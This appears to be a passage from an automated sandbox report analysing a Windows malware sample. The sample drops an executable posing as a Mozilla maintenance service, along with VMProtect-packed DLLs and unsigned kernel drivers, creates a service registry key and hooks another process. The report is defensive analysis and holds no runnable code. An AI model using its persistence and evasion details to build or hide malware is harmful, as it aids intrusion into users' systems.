Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: profext.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

File written: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\A99DD9DC\F7BE15.ini

Jump to behavior

Source: 1.exe

Static file information: File size 29911040 > 1048576

Source: 1.exe

Static PE information: Raw size of .data31 is bigger than: 0x100000 < 0x1c75600

Source: 1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: F7BE15F582DD9.exe, 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2208452045.000000000E0E5000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063C4000.00000004.00000020.00020000.00000000.sdmp, 4EE1UTOOM.dll.2.dr, 3E32331dd.dll.2.dr
Source:	Binary string: \bin\xkSHWL.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4606243171.000000000EC4E000.00000004.00000020.00020000.00000000.sdmp, 93DBkmnlf.dll.2.dr
Source:	Binary string: rl.pdb source: F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \DPK.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4654051565.00000000105EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\dlq.pdb source: F7BE15F582DD9.exe, 00000002.00000003.2099019893.000000000636A000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2099019893.000000000634D000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4675377087.0000000010B3E000.00000004.00000020.00020000.00000000.sdmp, C903fcVWV.dll.2.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4586610970.000000000E5B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdbEJ source: F7BE15F582DD9.exe, 00000002.00000002.4674195963.0000000010AFA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: F:\funny\GamePluginCtrl\Release\gamePluginCtrl.pdb source: F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2208452045.000000000E0E5000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063C4000.00000004.00000020.00020000.00000000.sdmp, 4EE1UTOOM.dll.2.dr, 3E32331dd.dll.2.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb @ source: F7BE15F582DD9.exe, 00000002.00000003.2092727525.000000000636E000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092880536.000000000634C000.00000004.00000020.00020000.00000000.sdmp, A9CDXQRQR.dll.2.dr, 976457BEB.dll.2.dr, BA3CXXaVO.dll.2.dr
Source:	Binary string: DPK\bin\DPK.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4622868714.000000000F0F4000.00000004.00000020.00020000.00000000.sdmp, 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr
Source:	Binary string: \GamePluginCtrl\Release\gamePluginCtrl.pdb<F source: F7BE15F582DD9.exe, 00000002.00000002.4586610970.000000000E5B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \bin\xkSHWL.pdbtc source: 93DBkmnlf.dll.2.dr
Source:	Binary string: rl.pdbO source: F7BE15F582DD9.exe, 00000002.00000003.2185370878.00000000063CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: DPK\bin\JDClient.pdb source: 331FPNNPK.exe.2.dr
Source:	Binary string: G:\projects\G\tools\emptyDll\Release\emptyDll.pdb source: F7BE15F582DD9.exe, 00000002.00000002.4674195963.0000000010AFA000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092727525.000000000636E000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2092880536.000000000634C000.00000004.00000020.00020000.00000000.sdmp, A9CDXQRQR.dll.2.dr, 976457BEB.dll.2.dr, BA3CXXaVO.dll.2.dr

Data Obfuscation

Sample is protected by VMProtect

Source: 7599UTVWP.dll.2.dr	Static PE information: Section: .vmp1 IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 8541KG870.dll.2.dr	Static PE information: Section: .vmp1 IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: initial sample

Static PE information: section where entry point is pointing to: .data31

Source: 1.exe	Static PE information: section name: .data30
Source: 1.exe	Static PE information: section name: .data31
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 0DE
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 1TA
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 2S
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 3data
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 4ls
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 5data
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 6eloc
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 7src
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 8ext
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 9data
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 10ta
Source: 7D853zyts.dll.2.dr	Static PE information: section name: .vmp0
Source: A743A4x03.dll.2.dr	Static PE information: section name: .vmp0
Source: 6528PJMNM.dll.2.dr	Static PE information: section name: .vmp0
Source: 7599UTVWP.dll.2.dr	Static PE information: section name: .vmp0
Source: 7599UTVWP.dll.2.dr	Static PE information: section name: .vmp1
Source: 8541KG870.dll.2.dr	Static PE information: section name: .vmp0
Source: 8541KG870.dll.2.dr	Static PE information: section name: .vmp1
Source: 331FPNNPK.exe.2.dr	Static PE information: section name: .vmp0
Source: 331FPNNPK.exe.2.dr	Static PE information: section name: .vmp1
Source: C903fcVWV.dll.2.dr	Static PE information: section name: .vmp0
Source: C903fcVWV.dll.2.dr	Static PE information: section name: .vmp1
Source: 70ACtrsvy.dll.2.dr	Static PE information: section name: .didata
Source: 70ACtrsvy.dll.2.dr	Static PE information: section name: .aspack
Source: 70ACtrsvy.dll.2.dr	Static PE information: section name: .adata
Source: 3E32331dd.dll.2.dr	Static PE information: section name: .vvvt0
Source: 3E32331dd.dll.2.dr	Static PE information: section name: .vvvt1
Source: 4EE1UTOOM.dll.2.dr	Static PE information: section name: .vvvt0
Source: 4EE1UTOOM.dll.2.dr	Static PE information: section name: .vvvt1
Source: 8001IF88B.dll.2.dr	Static PE information: section name: .vmp0
Source: A633favQv.sys.2.dr	Static PE information: section name: .vvd0
Source: A633favQv.sys.2.dr	Static PE information: section name: .vvd1
Source: F7BE15F.sys.2.dr	Static PE information: section name: .vvd0
Source: F7BE15F.sys.2.dr	Static PE information: section name: .vvd1
Source: 4CE0zvyEH.sys.2.dr	Static PE information: section name: .vvd0
Source: 4CE0zvyEH.sys.2.dr	Static PE information: section name: .vvd1
Source: 5942hcVWR.sys.2.dr	Static PE information: section name: .vvd0
Source: 5942hcVWR.sys.2.dr	Static PE information: section name: .vvd1

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A05A630 push ecx; mov dword ptr [esp], 00000000h	2_2_6A05A631
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A0C6A5B push dword ptr [esp+34h]; retn 0040h	2_2_6A0C6A81
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A0B8B2F pushfd ; mov dword ptr [esp], edx	2_2_6A0B8B56
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Code function: 2_2_6A0C6BA3 push ebp; mov dword ptr [esp], esi	2_2_6A0CA2D8

Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 0DE entropy: 7.9997364104024875
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 1TA entropy: 7.978322038476304
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 3data entropy: 7.935257273389065
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 8ext entropy: 7.900782660215838
Source: F7BE15F582DD9.exe.0.dr	Static PE information: section name: 10ta entropy: 7.973925222571074
Source: 7D853zyts.dll.2.dr	Static PE information: section name: .vmp0 entropy: 7.933949478599191
Source: A743A4x03.dll.2.dr	Static PE information: section name: .vmp0 entropy: 7.1293297976491194
Source: 6528PJMNM.dll.2.dr	Static PE information: section name: .vmp0 entropy: 7.927136044627817
Source: 7599UTVWP.dll.2.dr	Static PE information: section name: .vmp1 entropy: 7.957735490987599
Source: 8541KG870.dll.2.dr	Static PE information: section name: .vmp1 entropy: 7.957735490987599
Source: 331FPNNPK.exe.2.dr	Static PE information: section name: .vmp0 entropy: 7.859066289798026
Source: 331FPNNPK.exe.2.dr	Static PE information: section name: .vmp1 entropy: 7.24756237644928
Source: C903fcVWV.dll.2.dr	Static PE information: section name: .vmp1 entropy: 7.8581135744322665
Source: 3E32331dd.dll.2.dr	Static PE information: section name: .vvvt1 entropy: 7.897791092229113
Source: 4EE1UTOOM.dll.2.dr	Static PE information: section name: .vvvt1 entropy: 7.897791092229113
Source: 8001IF88B.dll.2.dr	Static PE information: section name: .vmp0 entropy: 7.1293297976491194
Source: A633favQv.sys.2.dr	Static PE information: section name: .vvd1 entropy: 7.870656553239393
Source: F7BE15F.sys.2.dr	Static PE information: section name: .vvd1 entropy: 7.8609558760813965
Source: 4CE0zvyEH.sys.2.dr	Static PE information: section name: .vvd1 entropy: 7.8609558760813965
Source: 5942hcVWR.sys.2.dr	Static PE information: section name: .vvd1 entropy: 7.864463910608817

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\A633favQv.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\F7BE15F.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\4CE0zvyEH.sys	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\5942hcVWR.sys	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: reg.exe
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: reg.exe
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: reg.exe	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Process created: reg.exe	Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA3FA8746\50C7CA7B7.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\F7BE15F.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\HEF768\70ACtrsvy.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\8001IF88B.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\5942hcVWR.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\DA6D75BF83C0\A9CDXQRQR.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\FEBDE290\6609QLNJK.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\4CE0zvyEH.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\A633favQv.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\A743A4x03.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\G46A21F683\93DBkmnlf.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\ED90155A\976457BEB.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CECF542EE32\BA3CXXaVO.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\ECAE159\5C13YSSUW.dll	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E2E4B6B5\331FPNNPK.exe	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll	Jump to dropped file

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\F7BE15F.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\5942hcVWR.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\4CE0zvyEH.sys	Jump to dropped file
Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	File created: C:\Windows\SysWOW64\A633favQv.sys	Jump to dropped file

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\F7BE15F

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{32cb138b-8507-4cec-ba14-fc0247804fd4}

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A048BE0 OpenSCManagerA,CloseServiceHandle,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

2_2_6A048BE0

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\1.exe	Memory written: PID: 6656 base: 77030005 value: E9 2B BA E8 FF	Jump to behavior
